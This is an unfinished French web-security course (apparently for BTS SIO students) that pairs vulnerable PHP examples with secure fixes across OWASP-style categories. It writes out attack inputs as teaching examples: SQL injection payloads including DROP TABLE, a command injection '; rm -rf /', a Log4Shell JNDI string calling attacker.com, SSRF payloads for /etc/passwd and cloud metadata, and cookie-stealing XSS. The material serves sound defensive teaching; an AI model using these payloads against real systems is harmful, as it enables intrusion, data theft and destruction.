À l’issue de cette formation, vous serez capable de :
Pour SLAM :
Pour SISR :
La cybersécurité est devenue un enjeu majeur pour toutes les organisations :
Cas 1 : Attaque Colonial Pipeline (2021)
Cas 2 : Fuite de données Facebook (2021)
Cas 3 : Attaque Maersk - NotPetya (2017)
Confidentialité (Confidentiality)
Intégrité (Integrity)
Disponibilité (Availability)
Exercice pratique : Identifier les attaques
Analysez ces scénarios et identifiez le type d’attaque :
Un email prétendant venir de votre DSI demande vos identifiants pour “maintenance” → Phishing
Un site web permet d’exécuter SELECT * FROM users WHERE id='1' OR '1'='1' → Injection SQL
SELECT * FROM users WHERE id='1' OR '1'='1'
Une clé USB “Salaires 2024” est laissée dans le parking → Baiting
Définition : Restrictions d’accès mal implémentées permettant aux utilisateurs d’agir en dehors de leurs permissions.
Exemple vulnérable (PHP) :
<?php // VULNÉRABLE - Pas de vérification d'autorisation $userId = $_GET['id']; $query = "SELECT * FROM users WHERE id = $userId"; $result = mysqli_query($conn, $query); $user = mysqli_fetch_assoc($result); // Affiche les données de n'importe quel utilisateur echo "Email: " . $user['email']; echo "Salary: " . $user['salary']; ?>
Attaque possible :
http://example.com/profile.php?id=1 // Mon profil http://example.com/profile.php?id=2 // Je peux voir le profil de l'utilisateur 2 !
Solution sécurisée :
<?php session_start(); // SÉCURISÉ - Vérification d'autorisation if (!isset($_SESSION['user_id'])) { http_response_code(401); die("Non autorisé"); } $requestedUserId = (int)$_GET['id']; $currentUserId = (int)$_SESSION['user_id']; // Vérifier que l'utilisateur peut uniquement voir son propre profil // (sauf si admin) if ($requestedUserId !== $currentUserId && !$_SESSION['is_admin']) { http_response_code(403); die("Accès refusé"); } // Utiliser une requête préparée $stmt = $conn->prepare("SELECT email, name FROM users WHERE id = ?"); $stmt->bind_param("i", $requestedUserId); $stmt->execute(); $result = $stmt->get_result(); $user = $result->fetch_assoc(); echo "Email: " . htmlspecialchars($user['email']); ?>
Bonnes pratiques :
Exemple : Stockage de mots de passe :
** DANGEREUX - Stockage en clair :**
INSERT INTO users (username, password) VALUES ('john', 'Password123');
INSUFFISANT - MD5/SHA1 :
$password = md5($_POST['password']); // Cassable en quelques secondes
** SÉCURISÉ - bcrypt/Argon2 :**
// Lors de l'inscription $hashedPassword = password_hash($_POST['password'], PASSWORD_ARGON2ID, [ 'memory_cost' => 65536, 'time_cost' => 4, 'threads' => 3 ]); // Stockage en base $stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)"); $stmt->bind_param("ss", $username, $hashedPassword); // Lors de la connexion $stmt = $conn->prepare("SELECT password FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $result = $stmt->get_result(); $user = $result->fetch_assoc(); if (password_verify($_POST['password'], $user['password'])) { // Connexion réussie // Vérifier si le hash doit être mis à jour if (password_needs_rehash($user['password'], PASSWORD_ARGON2ID)) { $newHash = password_hash($_POST['password'], PASSWORD_ARGON2ID); // Mettre à jour en base } }
Exemple : Chiffrement des données sensibles :
// VULNÉRABLE $creditCard = $_POST['cc_number']; $query = "INSERT INTO payments (card_number) VALUES ('$creditCard')"; // SÉCURISÉ $key = getEncryptionKey(); // Clé stockée dans un coffre-fort (Vault) $iv = random_bytes(16); $encryptedCard = openssl_encrypt( $_POST['cc_number'], 'aes-256-gcm', $key, 0, $iv, $tag ); // Stocker : IV + Tag + Données chiffrées $stmt = $conn->prepare("INSERT INTO payments (card_data, iv, tag) VALUES (?, ?, ?)");
Injection SQL - Exemple détaillé
Scénario vulnérable :
// Page de connexion vulnérable $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $result = mysqli_query($conn, $query); if (mysqli_num_rows($result) > 0) { echo "Connexion réussie !"; }
Exploitation :
Username: admin' OR '1'='1' -- Password: (n'importe quoi) Requête générée : SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = '' Résultat : Connexion réussie sans mot de passe !
Attaques possibles :
-- 1. Extraire des données Username: ' UNION SELECT username, password, email FROM users -- -- 2. Supprimer des données Username: '; DROP TABLE users; -- -- 3. Créer un compte admin Username: '; INSERT INTO users (username, password, role) VALUES ('hacker', 'pwd', 'admin'); --
Solution - Requêtes préparées :
// SÉCURISÉ - PDO $pdo = new PDO('mysql:host=localhost;dbname=mydb', $user, $pass); $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$_POST['username'], $hashedPassword]); $user = $stmt->fetch(); // SÉCURISÉ - MySQLi $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $_POST['username'], $hashedPassword); $stmt->execute(); $result = $stmt->get_result();
Injection de commandes OS
// VULNÉRABLE $filename = $_GET['file']; $output = shell_exec("cat $filename"); // Attaque : ?file=secret.txt; rm -rf / // Résultat : Affiche le fichier PUIS supprime tout ! // SÉCURISÉ $allowedFiles = ['log1.txt', 'log2.txt']; $filename = basename($_GET['file']); // Supprime les chemins if (in_array($filename, $allowedFiles)) { $output = file_get_contents("/var/logs/" . $filename); } else { die("Fichier non autorisé"); }
Exemple : Récupération de mot de passe
Mauvais design :
Question secrète : "Quel est le nom de jeune fille de votre mère ?" → Information souvent publique (réseaux sociaux) → Une seule question → Pas de limite de tentatives
Bon design :
1. Envoi d'un lien de réinitialisation par email 2. Token unique à usage unique avec expiration (15 minutes) 3. Validation par SMS/email (double facteur) 4. Logging de toutes les tentatives 5. Rate limiting (3 tentatives max par heure)
Exemple d’implémentation :
// Génération du token de réinitialisation function generatePasswordResetToken($userId) { $token = bin2hex(random_bytes(32)); $expiry = date('Y-m-d H:i:s', strtotime('+15 minutes')); $stmt = $pdo->prepare( "INSERT INTO password_resets (user_id, token, expiry, used) VALUES (?, ?, ?, 0)" ); $stmt->execute([$userId, hash('sha256', $token), $expiry]); return $token; // Envoyer par email (non hashé) } // Validation du token function validateResetToken($token) { $hashedToken = hash('sha256', $token); $stmt = $pdo->prepare( "SELECT user_id FROM password_resets WHERE token = ? AND expiry > NOW() AND used = 0" ); $stmt->execute([$hashedToken]); if ($row = $stmt->fetch()) { // Marquer comme utilisé $stmt = $pdo->prepare("UPDATE password_resets SET used = 1 WHERE token = ?"); $stmt->execute([$hashedToken]); return $row['user_id']; } return false; }
Exemples courants :
1. Erreurs verbales en production
// MAUVAIS - En production ini_set('display_errors', 1); error_reporting(E_ALL); // Affiche : // Fatal error: Uncaught PDOException: SQLSTATE[42000]: // Syntax error near 'SELECT * FROM users WHERE id=' in /var/www/config.php:15 // BON - Configuration production ini_set('display_errors', 0); ini_set('log_errors', 1); ini_set('error_log', '/var/log/php/error.log'); // Afficher un message générique try { // Code } catch (Exception $e) { error_log($e->getMessage()); // Loggé en interne echo "Une erreur est survenue. Contactez le support."; // Message utilisateur }
2. Fichiers sensibles accessibles
# DANGEREUX - Fichiers exposés http://example.com/.env http://example.com/.git/ http://example.com/config.php http://example.com/backup.sql # Configuration Apache <FilesMatch "^\."> Require all denied </FilesMatch> <FilesMatch "\.(env|sql|log|bak)$"> Require all denied </FilesMatch> # Configuration Nginx location ~ /\. { deny all; } location ~* \.(env|sql|log|bak)$ { deny all; }
3. Headers de sécurité manquants
// Headers de sécurité essentiels header("X-Frame-Options: DENY"); // Protection contre le clickjacking header("X-Content-Type-Options: nosniff"); // Empêche le MIME sniffing header("X-XSS-Protection: 1; mode=block"); // Protection XSS basique header("Strict-Transport-Security: max-age=31536000; includeSubDomains"); // Force HTTPS header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'"); header("Referrer-Policy: strict-origin-when-cross-origin"); header("Permissions-Policy: geolocation=(), microphone=(), camera=()"); // Supprimer les headers qui révèlent des infos header_remove("X-Powered-By");
Exemple réel : Log4Shell (CVE-2021-44228)
Cette vulnérabilité dans Log4j a affecté des millions d’applications.
// Code vulnérable (Log4j < 2.15.0) logger.info("User: " + request.getParameter("username")); // Exploitation username=${jndi:ldap://attacker.com/exploit} // Résultat : Exécution de code à distance !
# 1. Scanner les dépendances npm audit pip check mvn dependency:tree # 2. Automatiser avec des outils # - Dependabot (GitHub) # - Snyk # - OWASP Dependency-Check # 3. Maintenir un inventaire { "dependencies": { "express": "^4.18.2", // ok À jour "lodash": "^3.10.0" // ko Vulnérable (CVE-2019-10744) } }
Exemple de mise à jour sécurisée :
# Vérifier les vulnérabilités npm audit # Mise à jour automatique npm audit fix # Mise à jour manuelle si nécessaire npm update lodash@latest # Vérifier que l'application fonctionne npm test
Exemple 1 : Énumération d’utilisateurs
// ko VULNÉRABLE - Messages différents if (!userExists($username)) { echo "Nom d'utilisateur incorrect"; } else if (!passwordMatch($username, $password)) { echo "Mot de passe incorrect"; } // Attaquant peut déterminer quels usernames existent ! // ok SÉCURISÉ - Message générique if (!authenticate($username, $password)) { echo "Identifiants incorrects"; // Logger la tentative avec l'IP logFailedAttempt($_SERVER['REMOTE_ADDR'], $username); }
Exemple 2 : Politique de mots de passe faibles
// FAIBLE if (strlen($password) >= 6) { // Accepté : "123456", "password", "azerty" } // ROBUSTE function validatePassword($password) { $errors = []; if (strlen($password) < 12) { $errors[] = "Au moins 12 caractères"; } if (!preg_match('/[A-Z]/', $password)) { $errors[] = "Au moins une majuscule"; } if (!preg_match('/[a-z]/', $password)) { $errors[] = "Au moins une minuscule"; } if (!preg_match('/[0-9]/', $password)) { $errors[] = "Au moins un chiffre"; } if (!preg_match('/[^A-Za-z0-9]/', $password)) { $errors[] = "Au moins un caractère spécial"; } // Vérifier contre une liste de mots de passe courants $commonPasswords = file('common_passwords.txt', FILE_IGNORE_NEW_LINES); if (in_array($password, $commonPasswords)) { $errors[] = "Mot de passe trop commun"; } return $errors; }
Exemple 3 : Authentification multi-facteurs (2FA)
// Génération du code TOTP use OTPHP\TOTP; // Setup initial $totp = TOTP::create(); $totp->setLabel('user@example.com'); $secret = $totp->getSecret(); // Afficher le QR code pour Google Authenticator $qrCodeUri = $totp->getQrCodeUri( 'https://api.qrserver.com/v1/create-qr-code/', 'My Application' ); // Validation du code function verify2FA($secret, $code) { $totp = TOTP::create($secret); return $totp->verify($code, null, 1); // Fenêtre de 30s } // Utilisation lors de la connexion if (authenticate($username, $password)) { if ($user['2fa_enabled']) { $_SESSION['pending_2fa'] = $user['id']; // Rediriger vers la page 2FA } else { // Connexion directe (encourager l'activation 2FA) } }
Exemple : Vérification d’intégrité
// Téléchargement d'une mise à jour $updateUrl = "https://updates.example.com/app_v2.zip"; $updateFile = "/tmp/update.zip"; // DANGEREUX - Pas de vérification file_put_contents($updateFile, file_get_contents($updateUrl)); exec("unzip $updateFile -d /var/www/"); // SÉCURISÉ - Vérifier le hash $expectedHash = "a3c5..."; // Hash SHA-256 publié officiellement file_put_contents($updateFile, file_get_contents($updateUrl)); $actualHash = hash_file('sha256', $updateFile); if ($actualHash !== $expectedHash) { unlink($updateFile); die("Erreur : Fichier corrompu ou altéré !"); } // Vérifier la signature numérique $signature = file_get_contents($updateUrl . '.sig'); $publicKey = file_get_contents('/etc/keys/public.pem'); if (!openssl_verify(file_get_contents($updateFile), $signature, $publicKey, OPENSSL_ALGO_SHA256)) { unlink($updateFile); die("Erreur : Signature invalide !"); } // Installation sécurisée exec("unzip $updateFile -d /var/www/");
Exemple d’implémentation de logging sécurisé :
class SecurityLogger { private $logFile = '/var/log/security/app.log'; public function logEvent($event, $level, $data = []) { $entry = [ 'timestamp' => date('Y-m-d H:i:s'), 'level' => $level, 'event' => $event, 'user_id' => $_SESSION['user_id'] ?? null, 'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown', 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown', 'request_uri' => $_SERVER['REQUEST_URI'] ?? 'unknown', 'data' => $data ]; // Ne jamais logger de données sensibles unset($entry['data']['password']); unset($entry['data']['credit_card']); file_put_contents( $this->logFile, json_encode($entry) . PHP_EOL, FILE_APPEND | LOCK_EX ); } public function logFailedLogin($username, $ip) { $this->logEvent('failed_login', 'WARNING', [ 'username' => $username, 'ip' => $ip ]); // Alerter si trop de tentatives $recentAttempts = $this->countRecentAttempts($ip, 300); // 5 minutes if ($recentAttempts >= 5) { $this->sendAlert("Multiple failed login attempts from $ip"); } } public function logDataAccess($resource, $action) { $this->logEvent('data_access', 'INFO', [ 'resource' => $resource, 'action' => $action ]); } public function logPrivilegeEscalation($userId, $oldRole, $newRole) { $this->logEvent('privilege_change', 'CRITICAL', [ 'user_id' => $userId, 'old_role' => $oldRole, 'new_role' => $newRole, 'changed_by' => $_SESSION['user_id'] ]); $this->sendAlert("Privilege escalation: User $userId role changed to $newRole"); } } // Utilisation $logger = new SecurityLogger(); // Connexion échouée $logger->logFailedLogin($_POST['username'], $_SERVER['REMOTE_ADDR']); // Accès aux données sensibles $logger->logDataAccess('/api/users/export', 'READ'); // Changement de privilèges $logger->logPrivilegeEscalation(123, 'USER', 'ADMIN');
Dashboard de monitoring (exemple simplifié) :
// Analyser les logs pour détecter des anomalies function detectAnomalies() { $logs = file('/var/log/security/app.log'); $suspicious = []; // Détecter les tentatives de force brute $failedLogins = []; foreach ($logs as $line) { $entry = json_decode($line, true); if ($entry['event'] === 'failed_login') { $ip = $entry['ip']; $failedLogins[$ip] = ($failedLogins[$ip] ?? 0) + 1; } } foreach ($failedLogins as $ip => $count) { if ($count > 10) { $suspicious[] = [ 'type' => 'brute_force', 'ip' => $ip, 'attempts' => $count ]; } } // Détecter les accès suspects (heures inhabituelles) // Détecter les changements de privilèges // etc. return $suspicious; }
Exemple vulnérable :
// VULNÉRABLE $url = $_GET['url']; $content = file_get_contents($url); echo $content; // Attaque possible : // ?url=http://localhost:22 (scanner les ports) // ?url=http://169.254.169.254/latest/meta-data/ (AWS metadata) // ?url=file:///etc/passwd (lire des fichiers locaux)
// SÉCURISÉ function fetchUrl($url) { // Whitelist de domaines autorisés $allowedDomains = ['api.example.com', 'cdn.example.com']; // Parser l'URL $parsed = parse_url($url); // Vérifications if (!isset($parsed['scheme']) || !in_array($parsed['scheme'], ['http', 'https'])) { throw new Exception("Protocole non autorisé"); } if (!isset($parsed['host']) || !in_array($parsed['host'], $allowedDomains)) { throw new Exception("Domaine non autorisé"); } // Bloquer les IPs privées $ip = gethostbyname($parsed['host']); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { throw new Exception("Adresse IP privée détectée"); } // Fetch sécurisé $context = stream_context_create([ 'http' => [ 'timeout' => 5, 'follow_location' => 0, // Désactiver les redirections ] ]); return file_get_contents($url, false, $context); }
1. XSS Réfléchi (Reflected)
// Page search.php - VULNÉRABLE <?php $search = $_GET['q']; echo "Résultats pour : $search"; ?> // Attaque : // search.php?q=<script>alert(document.cookie)</script>
2. XSS Stocké (Stored)
// Commentaire stocké en base - VULNÉRABLE $comment = $_POST['comment']; $stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)"); $stmt->execute([$comment]); // Plus tard, affichage : echo $comment; // Si contient <script>, il sera exécuté !
3. XSS DOM-based
<!-- VULNÉRABLE --> <script> // URL: page.html#<img src=x onerror=alert(1)> var hash = window.location.hash.substring(1); document.getElementById('content').innerHTML = hash; </script>
Utilisation de htmlspecialchars
htmlspecialchars
à suivre… (cours non finalisé)